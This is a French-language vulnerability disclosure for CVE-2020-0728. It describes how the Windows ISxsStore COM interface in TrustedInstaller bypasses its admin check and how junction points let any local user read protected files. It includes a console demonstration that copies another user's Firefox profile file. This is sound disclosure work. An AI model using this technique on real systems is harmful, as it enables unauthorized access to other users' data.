
Code de preuve de concept pour CVE-2020-0728
Le service TrustedInstaller.exe fonctionne en tant que NT_AUTHORITY\SYSTEM et héberge le service COM Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) ainsi que l'interface ISxsStore.
Les autorisations d'accès (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) de ce service accordent l'accès à tout utilisateur
sur le système local.
L'interface ISxsStore expose 4 méthodes :
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
Lors de l'invocation, l'implémentation appelle l'interface ICbsWorker hébergée par TiWorker.exe (également en tant que NT_AUTHORITY\SYSTEM) pour obtenir une session ICbsSession8
et appelle ensuite pratiquement les mêmes méthodes sur cette interface.
La logique réelle est implémentée dans la bibliothèque sxsstore.dll ; l'autorisation se trouve dans CSxsStore::BeginAssemblyInstall :
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
Cela est réalisé à l'aide des appels CoImpersonateClient+CheckTokenMembership.
Le problème est que si la session hébergée par le processus TiWorker.exe est invoquée via le wrapper TrustedInstaller.exe, la logique d'autorisation implémentée rencontre toujours des connexions provenant de NT_AUTHORITY\SYSTEM
et accorde donc l'accès à tout le monde.
Les assemblys demandés à installer sont placés sous C:\Windows\WinSXS par l'implémentation résidant dans wcp.dll (Windows::COM::CComponentStore::InternalTransact) et
semble comporter des mesures de sécurité suffisantes pour empêcher ces appels de méthode de s'échapper de ce répertoire de destination légitime, mais les fichiers sources référencés par le
manifeste peuvent être abusés via des points de jonction.
Cela peut être exploité pour contourner le DAC du système de fichiers et lire n'importe quel fichier sur le système de fichiers local, comme démontré ci-dessous :
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
Le framework wcp est en réalité assez complexe et comporte divers 'installateurs' (par exemple, l'exécution de GenericCommand parmi les 'avancés'),
mais l'interface accessible ci-dessus semble être limitée aux seuls 'installateurs primitifs'. J'ai pu déclencher l'exécution de
CRegistryInstaller::CommitChanges qui a émis un journal dans C:\Windows\Logs\CBS\CBS.log, avec des lignes comme :
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
Mais en réalité, il n'a jamais vraiment appelé de méthodes API pour modifier quoi que ce soit dans le registre.
Le rapport ci-dessus ainsi que le code PoC ont été soumis par Imre Rad mais ont également été identifiés par des chercheurs de NCC (en fait quelques mois plus tôt).
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728